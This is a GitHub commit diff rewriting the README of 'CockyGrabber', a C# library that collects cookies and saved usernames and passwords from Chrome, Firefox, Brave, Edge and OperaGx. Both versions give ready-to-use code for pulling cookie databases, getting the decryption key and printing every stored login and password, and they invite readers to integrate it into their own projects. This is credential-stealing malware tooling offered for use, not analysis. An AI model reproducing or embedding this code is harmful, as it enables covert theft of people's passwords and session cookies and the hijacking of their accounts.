|
1 | | -#### 💣 Old CockyGrabber got deleted by TheBackdoor - Made by TheBackdoor and me 💣 |
2 | | - |
3 | 1 | # CockyGrabber |
4 | | -A Browser Cookies & Passwords Grabber C#.NET Library that you can itegrate in your Projects. |
5 | | -*(More Supported Browsers in Future!)* |
6 | 2 |
|
7 | | -## Download: |
| 3 | +CockyGrabber is a C#.NET library for collecting browser information such as cookies, logins, and more. |
| 4 | +It's also very *easy* to integrate into your Projects. |
8 | 5 |
|
9 | | -For download all necessary packages, you can do from nuget with searching `CockyGrabber` and download the 1.2.0 version. once done, just download the library from the last [release](https://github.com/Stanley-GF/CockyGrabber/releases/download/2.1.0/webGrabber.dll). |
| 6 | +## Table Of Contents |
10 | 7 |
|
11 | | -## Usage: |
12 | | -**Import Cockygrabber classes:**</br> |
13 | | -It's not necessary but it will look better if you import CockyGrabber: |
14 | | -```cs |
15 | | -using CockyGrabber; |
16 | | -using Cookie = CockyGrabber.Classes.Cookie; |
17 | | -``` |
18 | | -</br> |
19 | | -then you will need to import a few packages to make CockyGrabber work |
| 8 | +1. [Integration](#integration) |
| 9 | +2. [Usage](#usage) |
| 10 | + * [Importing CockyGrabber](#importing-cockygrabber) |
| 11 | + * [Grabbing Cookies](#grabbing-cookies) |
| 12 | + * [Grabbing Logins](#grabbing-logins) |
| 13 | +3. [What's Next](#whats-next) |
| 14 | +4. [End](#end) |
20 | 15 |
|
21 | | -```cs |
22 | | -using System.Data.SQLite; // link: https://www.nuget.org/packages/System.Data.SQLite/ |
23 | | -using Newtonsoft.Json; // link: https://www.nuget.org/packages/Newtonsoft.Json/ |
24 | | -using System.Security.Cryptography.ProtectedData; // link: https://www.nuget.org/packages/System.Security.Cryptography.ProtectedData |
25 | | -using BouncyCastle; // link: https://www.nuget.org/packages/BouncyCastle/ |
26 | | -``` |
| 16 | +## Integration |
27 | 17 |
|
| 18 | +Before you can use CockyGrabber you will need to download a few necessary packages. You can get them from external sources or easily with [NuGet](https://www.nuget.org/): |
28 | 19 |
|
29 | | -</br> |
30 | | -</br> |
| 20 | +* [Newtonsoft.Json](https://www.newtonsoft.com/json) |
| 21 | +* [BouncyCastle](http://www.bouncycastle.org/csharp/) |
| 22 | +* [System.Data.SQLite](https://system.data.sqlite.org/) |
| 23 | +* [System.Security.Cryptography.ProtectedData](http://www.dot.net/) |
| 24 | + |
| 25 | +<!--Or you can download CockyGrabber directly from NuGet with the necessary packages included: [LINK]--> |
31 | 26 |
|
32 | | -**Getting The Key to decrypt cookies:**</br> |
33 | | -First you need to get a Key to decrypt the Cookies. |
| 27 | +## Usage |
| 28 | + |
| 29 | +### Importing CockyGrabber |
34 | 30 |
|
35 | | -Replace `[GrabberClass]` with the Cookie Grabber Class you want to use (OperaGxGrabber/ChromeGrabber. Firefox doesn't need a key because it don't encrypts cookies) |
36 | 31 | ```cs |
37 | | -[GrabberClass] grabber = new [GrabberClass] |
38 | | -byte[] keyToDecryptEncrypedDB = grabber.GetKey(); |
| 32 | +using CockyGrabber; |
| 33 | +using CockyGrabber.Grabbers; |
39 | 34 | ``` |
40 | | -</br> |
41 | | -</br> |
42 | 35 |
|
43 | | -**Grabbing Cookies:**</br> |
44 | | -Cookie Grabbing with CockyGrabber is *REALLY EASY*. |
45 | | -</br> |
46 | | -</br> |
47 | | -*Cookie Hostname examples: ".instagram.com" for instagram cookies, ".github.com" for github cookies, ".stackoverflow.com" for stackoverflow cookies, ...* |
48 | | -</br> |
49 | | -</br> |
50 | | -</br> |
| 36 | +### Grabbing Cookies |
51 | 37 |
|
| 38 | +Grabbing stuff with CockyGrabber is really easy! |
52 | 39 |
|
53 | | -Firefox Cookie Grabbing: |
| 40 | +To set an example here is how to collect Chrome cookies: |
54 | 41 |
|
55 | 42 | ```cs |
56 | | -FirefoxGrabber grabber = new FirefoxGrabber(); |
| 43 | +ChromeGrabber grabber = new ChromeGrabber(); // Define Grabber |
| 44 | +List<Chromium.Cookie> cookies = grabber.GetCookies(); // Collect all Cookies with GetCookies() |
57 | 45 |
|
58 | | -// Get cookies by hostname: |
59 | | -foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com")) |
| 46 | +// Print Hostname, Name and Value of every cookie: |
| 47 | +foreach(Chromium.Cookie cookie in cookies) // Since Chrome is a Chromium-based Browser it uses Chromium Cookies |
60 | 48 | { |
61 | | - string cookieHostname = cookie.HostName; |
| 49 | + string cookieHostname = cookie.HostKey; |
62 | 50 | string cookieName = cookie.Name; |
63 | | - string cookieValue = cookie.Value; |
| 51 | + string cookieValue = cookie.EncryptedValue; |
64 | 52 | Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
65 | 53 | } |
66 | | - |
67 | | -// Get All cookies: |
68 | | -foreach(Cookie cookie in grabber.GetAllCookies()) |
69 | | -{ |
70 | | - string cookieHostname = cookie.HostName; |
71 | | - string cookieName = cookie.Name; |
72 | | - string cookieValue = cookie.Value; |
73 | | - Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
74 | | -} |
75 | 54 | ``` |
76 | | -</br> |
77 | | -</br> |
78 | 55 |
|
79 | | -Chrome Cookie Grabbing: |
80 | | -</br> |
81 | | -Since Chrome cookie values are encrypted with BLOB, we need a key to decrypt the data. (I defined the key on line 21, README.md) |
| 56 | +*To collect OperaGx, Brave or Edge Cookies just replace `ChromeGrabber` with `OperaGxGrabber`, `BraveGrabber`, and so on.* |
| 57 | + |
82 | 58 | </br> |
83 | 59 |
|
84 | | -```cs |
85 | | -ChromeGrabber grabber = new ChromeGrabber(); |
| 60 | +Browsers such as Firefox, which are based on other engines have their own classes, such as 'Firefox.Cookie' since they aren't Chromium-based: |
86 | 61 |
|
87 | | -// Get cookies by hostname: |
88 | | -foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com", keyToDecryptEncrypedDB)) |
89 | | -{ |
90 | | - string cookieHostname = cookie.HostName; |
91 | | - string cookieName = cookie.Name; |
92 | | - string cookieValue = cookie.Value; |
93 | | - Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
94 | | -} |
| 62 | +```cs |
| 63 | +FirefoxGrabber grabber = new FirefoxGrabber(); // Define Grabber |
| 64 | +List<Firefox.Cookie> cookies = grabber.GetCookies(); // Collect all Cookies with GetCookies() |
95 | 65 |
|
96 | | -// Get All cookies: |
97 | | -foreach(Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB)) |
| 66 | +// Print Hostname, Name and Value of every cookie: |
| 67 | +foreach(Firefox.Cookie cookie in cookies) // Firefox has its own engine and therefore its own Cookie class (Firefox.Cookie) |
98 | 68 | { |
99 | | - string cookieHostname = cookie.HostName; |
| 69 | + string cookieHostname = cookie.Host; |
100 | 70 | string cookieName = cookie.Name; |
101 | 71 | string cookieValue = cookie.Value; |
102 | 72 | Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
103 | 73 | } |
104 | 74 | ``` |
105 | 75 |
|
106 | | -</br> |
107 | | -</br> |
| 76 | +### Grabbing Logins |
108 | 77 |
|
109 | | -OperaGx Cookie Grabbing: |
110 | | -</br> |
111 | | -OperaGx also encrypts cookies so you need a key here too. |
112 | | -</br> |
| 78 | +CockyGrabber can also grab Login Data such as Usernames and Passwords. |
113 | 79 |
|
114 | | -```cs |
115 | | -OperaGxGrabber grabber = new OperaGxGrabber(); |
| 80 | +Here is an example with the `BraveGrabber()`: |
116 | 81 |
|
117 | | -// Get cookies by hostname: |
118 | | -foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com", keyToDecryptEncrypedDB)) |
119 | | -{ |
120 | | - string cookieHostname = cookie.HostName; |
121 | | - string cookieName = cookie.Name; |
122 | | - string cookieValue = cookie.Value; |
123 | | - Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
124 | | -} |
125 | 82 |
|
126 | | -// Get All cookies: |
127 | | -foreach(Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB)) |
| 83 | +```cs |
| 84 | +BraveGrabber grabber = new BraveGrabber(); // Define Grabber |
| 85 | +List<Chromium.Login> logins = grabber.GetLogins(); // Collect all Logins with GetLogins() |
| 86 | +
|
| 87 | +// Print the Origin(URL), Username value and Password value of every Login: |
| 88 | +foreach(Chromium.Login login in logins) // Since Brave is a Chromium-based Browser it uses Chromium Logins |
128 | 89 | { |
129 | | - string cookieHostname = cookie.HostName; |
130 | | - string cookieName = cookie.Name; |
131 | | - string cookieValue = cookie.Value; |
132 | | - Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
| 90 | + string loginUrl = login.OriginUrl; |
| 91 | + string loginUsername = login.UsernameValue; |
| 92 | + string loginPassword = login.PasswordValue; |
| 93 | + Console.WriteLine($"{loginUrl} = {loginUsername}:{loginPassword}"); |
133 | 94 | } |
134 | 95 | ``` |
135 | | -</br> |
136 | | -</br> |
137 | 96 |
|
138 | | -Edge Cookie Grabbing: |
139 | | -</br> |
140 | | -Edge also encrypts cookies so you need a key here too. |
| 97 | +*Same thing goes here if you want to collect OperaGx, Chrome or Edge Cookies just replace `BraveGrabber` with `OperaGxGrabber`, `EdgeGrabber`, ...* |
| 98 | + |
141 | 99 | </br> |
142 | 100 |
|
143 | | -```cs |
144 | | -EdgeGrabber grabber = new EdgeGrabber(); |
| 101 | +... And if you want to grab Logins from non-Chromium based browsers like Firefox then you'll need to use a special class like `Firefox.Login`: |
145 | 102 |
|
146 | | -// Get cookies by hostname: |
147 | | -foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com", keyToDecryptEncrypedDB)) |
148 | | -{ |
149 | | - string cookieHostname = cookie.HostName; |
150 | | - string cookieName = cookie.Name; |
151 | | - string cookieValue = cookie.Value; |
152 | | - Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
153 | | -} |
| 103 | +```cs |
| 104 | +FirefoxGrabber grabber = new FirefoxGrabber(); |
| 105 | +List<Firefox.Login> logins = grabber.GetLogins(); |
154 | 106 |
|
155 | | -// Get All cookies: |
156 | | -foreach(Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB)) |
157 | | -{ |
158 | | - string cookieHostname = cookie.HostName; |
159 | | - string cookieName = cookie.Name; |
160 | | - string cookieValue = cookie.Value; |
161 | | - Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}"); |
162 | | -} |
| 107 | +foreach(Firefox.Login login in logins) |
| 108 | +// ... |
163 | 109 | ``` |
164 | | -</br> |
165 | | -</br> |
| 110 | + |
| 111 | +#### **If you need more examples, then go to the Examples folder!** |
| 112 | + |
| 113 | +## What's Next |
| 114 | + |
| 115 | +1. Adding more Browsers |
| 116 | +2. Turn CockyGrabber into a NuGet Package |
| 117 | +3. Adding custom Functions that replace the packages |
| 118 | +4. Creating a minimalized File that anyone can easily implement in their Project without referencing CockyGrabber itself |
166 | 119 |
|
167 | 120 | ## End |
168 | | -</br> |
169 | | -Yea thats it for now. Fork/Star/Watch this repo to dont miss new releases! |
170 | | -</br> |
171 | | -</br> |
172 | | -If you want to script with me then create a Issue! |
173 | | -</br> |
174 | | ---- |
| 121 | + |
| 122 | +Thats it for now! |
| 123 | + |
175 | 124 | </br> |
176 | 125 |
|
177 | | -If you found any **Bugs** then please create a Issue! |
| 126 | +*CockyGrabber is still in development and will receive future updates* so if you found any **Bugs**, please create an Issue and report it! |
0 commit comments